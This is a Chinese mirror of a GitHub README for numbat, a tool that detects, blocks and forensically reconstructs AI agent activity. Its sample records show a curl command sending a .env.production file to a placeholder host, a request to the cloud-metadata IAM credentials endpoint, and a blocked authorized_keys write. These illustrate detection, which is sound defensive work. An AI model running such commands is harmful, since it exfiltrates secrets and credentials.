perplexityai/numbat
GitHub: perplexityai/numbat
numbat 为各类 AI agent 提供端点级行为可见性,支持本地实时检测、可选的执行阻断以及离线取证重构。
Stars: 4 | Forks: 0
# numbat
对 AI agent 活动的端点可见性,提供本地检测、可选的 pre-action 阻断以及取证重构。
numbat 通过本地 hooks 和插件、OTLP/HTTP 日志以及磁盘上的 session 产物,来观察受支持的桌面端、CLI、IDE 和 gateway agent。实时和静态活动被统一标准化为同一个事件模型,并由同一个 CEL 规则引擎进行评估。检测在本地运行;记录可以写入 stdout 或本地文件,并可选择通过 HTTP 发送。
[覆盖范围矩阵](docs/agent-coverage.md#matrix) 是每个主机和受控面的权威说明。阻断功能默认关闭,且仅限于受支持的同步 pre-action hooks;请参阅 [执行指南](docs/enforcement.md)。
## 功能
- **实时监控**:通过 hooks、插件和 OTLP/HTTP 日志导出器。
- **端点本地检测**:内置 CEL 规则、多步骤序列规则和自定义 YAML 规则。
- **自愿启用的阻断**:通过受支持的 pre-action hooks。默认情况下禁用强制执行模式,且仅适用于标记为 `enforce: true` 的规则;所有内置规则均为仅监控模式。
- **取证重构**:从受支持的磁盘 session 产物中进行,无需预先植入 numbat 监控代码。
- **版本化的 NDJSON 记录**:涵盖事件、发现、执行决策、指标和扫描摘要。事件和发现保留源引用;[JSON Schemas](docs/schema/v0.2.0/) 定义了其传输格式。
- **只读产物扫描及密钥脱敏**:常规记录输出绝不会包含完整的原始转录;将原始证据文件添加到案例包中是可选操作。
- **盘点与调查工具**:用于只读 agent 发现、逐 session 时间轴,以及带有 SHA-256 清单的便携式案例包。
- **单一二进制分发**:适用于 macOS、Linux 和 Windows,构建时不依赖 cgo。
## 快速开始
### 安装
[下载发布版本](https://github.com/perplexityai/numbat/releases),支持 macOS、Linux 或 Windows 上的 amd64 或 arm64 架构。每个发布版本都包含 SHA-256 校验和。你也可以使用 Go 1.26.5 或更高版本进行安装:
```
go install github.com/perplexityai/numbat/cmd/numbat@latest
```
### 盘点与扫描
这些只读命令不会安装 hooks 或更改 agent 配置:
```
numbat agents
# 扫描所有已发现的 parser-backed agents
numbat scan
# 或将自动发现限制为 Codex
numbat scan --agent codex
```
### 监控与执行
为任何具有[实时捕获支持](docs/agent-coverage.md#matrix)的 agent 安装实时监控;以下命令以 Codex 为具体示例。Hooks 以仅监控模式启动。`--emit all` 会将事件、发现、指标以及适用的执行决策写入 `~/.numbat/records.ndjson`。
```
numbat hook install --agent codex --emit all
numbat hook status --agent codex
```
所有内置规则均为仅监控模式。要执行某项检测,请将其完整的[内置 YAML](rules/) 复制到受控的操作员目录中,保持相同的 id,添加 `enforce: true`,并提升其版本号。为受支持的 pre-action hook 验证并安装该生效策略:
```
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforce
```
### 输出示例
执行决策 (Codex
通过对 `persistence.ssh_authorized_keys` 进行同 id 的操作员替换,并标记为版本 `1.3` 的 `enforce: true`,Codex 的 `create_file` pre-action 匹配到了该规则,numbat 随后选择了特定于 agent 的拒绝响应。有关传递和执行语义,请参阅[决策](docs/enforcement.md#decisions)。
```
{
"action_event_ids": [
"hook-run-20260724T134723.452402000-6886c86cefad57b8"
],
"decision": "deny",
"decision_id": "enf-5132cfdb6ae4d57350ec734d",
"deny_rule_id": "persistence.ssh_authorized_keys",
"deny_rule_version": "1.3",
"endpoint": {
"hostname": "developer-workstation", "os": "linux", "arch": "arm64",
"username": "agent", "uid": "10001"
},
"finding_ids": [
"fnd-f467992648daec0a927b6de7"
],
"mode": "enforce",
"model": "gpt-5.6-codex",
"reason": "enforce_rule_match",
"record_type": "enforcement",
"rule_ids": [
"persistence.ssh_authorized_keys"
],
"run_id": "run-20260724T134723.452402000-6886c86cefad57b8",
"schema_version": "0.2.0",
"session_id": "sess-doc-codex-enforce-01",
"source_agent": "codex",
"source_type": "hook",
"timestamp": "2026-07-24T13:47:23.502411Z",
"tool_call_id": "tool-doc-codex-enforce-01",
"tool_name": "create_file"
}
```
有关其他检测到的行为,请参阅[内置规则目录](docs/rule-catalog.md)。
[CLI 参考](docs/cli.md#the-record-stream) 定义了完整的记录契约、标志和接收端。有关推广模式和输出持久性的信息,请参阅 [docs/deployment.md](docs/deployment.md)。
## 命令概述
- 盘点和调查:`agents`、`scan` 和 `timeline`
- 实时捕获:`hook install`、`hook status`、`hook uninstall` 和 `collect`
- 记录传递:`ship`
- 规则开发:`rules check`、`rules list` 和 `rules test`
- 案例包:`case build` 和 `case verify`
运行 `numbat --help` 获取完整的命令列表,或运行 `numbat help ` 查看标志。有关记录模式、接收端和退出代码,请参阅 [CLI 参考](docs/cli.md)。
`scan`、`collect`、`hook EVENT`、`hook install` 和 `rules check|list|test` 接受 `--rules-dir DIR`(可重复使用),以添加操作员规则或按 id 替换嵌入式规则。
使用 `--no-builtin-rules` 可启用仅限操作员的目录。完整的标志和输出参考:[docs/cli.md](docs/cli.md)。
## 文档
- [Agent 覆盖范围](docs/agent-coverage.md):支持的产物、实时捕获、执行和已知缺失。
- [CLI 参考](docs/cli.md):命令、标志、记录、接收端和退出代码。
- [实时捕获](docs/live-capture.md):hook 和 OTLP 设置。
- [部署](docs/deployment.md):安装范围、信任、集群推广和输出传递。
- [执行](docs/enforcement.md):阻断语义和失败行为。
- [规则](docs/rules.md):自定义规则格式、CEL 字段、测试和序列。
- [内置规则](docs/rule-catalog.md):内置的检测覆盖范围。
- [记录 Schemas](docs/schema/v0.2.0/):当前传输格式的 JSON Schemas。
## 范围
[覆盖范围矩阵](docs/agent-coverage.md) 记录了每个 agent 的支持和已知缺失情况,包括延迟存储、保真度限制和根覆盖。
原生 Windows 使用供应商定义的 profile 和 AppData 路径;WSL 使用单独的 Linux 主目录。numbat 绝不会执行在产物中发现的 agent 或命令,且仅向已配置的 HTTP 接收端发出出站请求。
静态重构并非磁盘或内存获取,无法恢复 agent 未持久化的活动。发现代表规则匹配,而非妥协的证据。案例包清单确立了内部一致性;未签名的包不能证明其来源的真实性或完整性。
## 安全
记录在脱敏后仍可能保留敏感的端点和 agent 上下文。有关威胁模型和私下漏洞报告,请参阅 [SECURITY.md](SECURITY.md)。
## 贡献
有关开发工作流、CI 门控和架构约束,请参阅 [CONTRIBUTING.md](CONTRIBUTING.md)。
## 许可证
Apache License 2.0。请参阅 [LICENSE](LICENSE)。
从检出版本构建静态二进制文件
macOS 或 Linux: ``` CGO_ENABLED=0 go build -trimpath -o numbat ./cmd/numbat ``` Windows PowerShell: ``` $env:CGO_ENABLED = "0" go build -trimpath -o numbat.exe ./cmd/numbat ```Hook 事件 (OpenClaw cloud-metadata 浏览器请求)
一个受控的 OpenClaw `before_tool_call` 回调在经过 numbat 生成的插件传递后,会成为带有其建议目标和执行上下文的类型化网络事件。它同时也会匹配到高危的 cloud-metadata 规则。 ``` { "actor": "assistant", "confidence": "medium", "content_preview": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "endpoint": { "hostname": "developer-workstation", "os": "linux", "arch": "arm64", "username": "node", "uid": "1000" }, "event_id": "hook-run-20260724T151125.690671167-fa0a4148090fa1ba", "event_type": "network.indicator", "evidence": {"artifact_type": "hook"}, "project_path": "/workspace/acme-api", "record_type": "event", "run_id": "run-20260724T151125.690671167-fa0a4148090fa1ba", "schema_version": "0.2.0", "session_id": "agent:research:metadata-review", "source_agent": "openclaw", "source_type": "hook", "sub_agent": "research", "tags": ["network"], "timestamp": "2026-07-24T15:20:00Z", "tool_call_id": "tool-cloud-metadata-01", "tool_name": "browser", "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } ```序列发现 (Claude Code hook 序列)
在一次 session 中,对符合契约的两个 Claude Code pre-action 回调(先访问机密文件,随后提议上传)进行的受控重放,产生了此发现。该规则也会在产物扫描期间运行;该发现并不能证明其中任何一项操作已经完成。 ``` { "cited_event_ids": [ "hook-run-20260724T143947.587655000-2030b2e550b19261", "hook-run-20260724T144025.562634000-e18f9d375ddb1c1b" ], "confidence": "medium", "detected_at": "2026-07-24T14:40:29.226642Z", "endpoint": { "hostname": "developer-workstation", "os": "linux", "arch": "arm64", "username": "agent", "uid": "10001" }, "evidence_refs": [ {"artifact_type": "hook"}, {"artifact_type": "hook"} ], "finding_id": "fnd-01be6f0c659d060e7c993a73", "observed_actor": "assistant", "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest", "observed_event_type": "command.exec", "project_path_hash": "sha256:6780eeb53603bd5da1c0ec3e25d9e94d8be668392f24def8903a2a34f8e3fcb0", "record_type": "finding", "redacted": false, "rule_id": "chain.secret_read_then_egress", "rule_version": "1.4", "run_id": "run-20260724T144025.562634000-e18f9d375ddb1c1b", "schema_version": "0.2.0", "session_id": "readme-live-sequence-01", "severity": "high", "source_agent": "claude-code", "source_type": "hook", "tags": ["attack.t1048", "attack.t1552", "attack.t1567"], "timestamp": "2026-07-24T14:40:25.562634Z", "title": "Secret-file access followed by data-bearing egress" } ```执行决策 (Codex authorized_keys 写入)
通过对 `persistence.ssh_authorized_keys` 进行同 id 的操作员替换,并标记为版本 `1.3` 的 `enforce: true`,Codex 的 `create_file` pre-action 匹配到了该规则,numbat 随后选择了特定于 agent 的拒绝响应。有关传递和执行语义,请参阅[决策](docs/enforcement.md#decisions)。
```
{
"action_event_ids": [
"hook-run-20260724T134723.452402000-6886c86cefad57b8"
],
"decision": "deny",
"decision_id": "enf-5132cfdb6ae4d57350ec734d",
"deny_rule_id": "persistence.ssh_authorized_keys",
"deny_rule_version": "1.3",
"endpoint": {
"hostname": "developer-workstation", "os": "linux", "arch": "arm64",
"username": "agent", "uid": "10001"
},
"finding_ids": [
"fnd-f467992648daec0a927b6de7"
],
"mode": "enforce",
"model": "gpt-5.6-codex",
"reason": "enforce_rule_match",
"record_type": "enforcement",
"rule_ids": [
"persistence.ssh_authorized_keys"
],
"run_id": "run-20260724T134723.452402000-6886c86cefad57b8",
"schema_version": "0.2.0",
"session_id": "sess-doc-codex-enforce-01",
"source_agent": "codex",
"source_type": "hook",
"timestamp": "2026-07-24T13:47:23.502411Z",
"tool_call_id": "tool-doc-codex-enforce-01",
"tool_name": "create_file"
}
```
标签:AI代理监控, EVTX分析, Go语言, 数字取证, 日志审计, 本地拦截, 程序破解, 端点检测与响应, 脱壳工具, 自动化脚本, 行为审计